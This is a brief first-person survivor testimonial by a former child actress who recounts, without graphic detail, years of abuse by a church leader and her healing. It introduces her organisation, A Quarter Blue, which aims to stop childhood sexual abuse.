I grew up as a child actress. I excelled at taking directions—I was paid well for being a submissive, co(=)operative, obedient, little girl. Not only did this pave the way for a successful childhood acting career, but it also led me into the talons of a church leader/Sunday school teacher with insidious intentions. He molested me for over five years. However, along my journey of healing, I have chosen to no longer be a victim of my circumstances. I am a victor over them. I am no longer shackled to my perpetrator. I am free, because the truth has set me free. I chose not to say, “Why me?” I am a more mature and complete woman, because I have walked the path of brokenness and am confident that this path is the road to wholeness and true beauty. Out of brokenness comes the most radiant beauty. I believe I was allowed to walk this journey so that I can be part of the process of stopping childhood sexual abuse and empower survivors to begin the process of healing by telling my story. I am growing up as a victorious survivor. I am Martha W., founder of A Quarter Blue—Stopping Childhood Sexual Abuse.
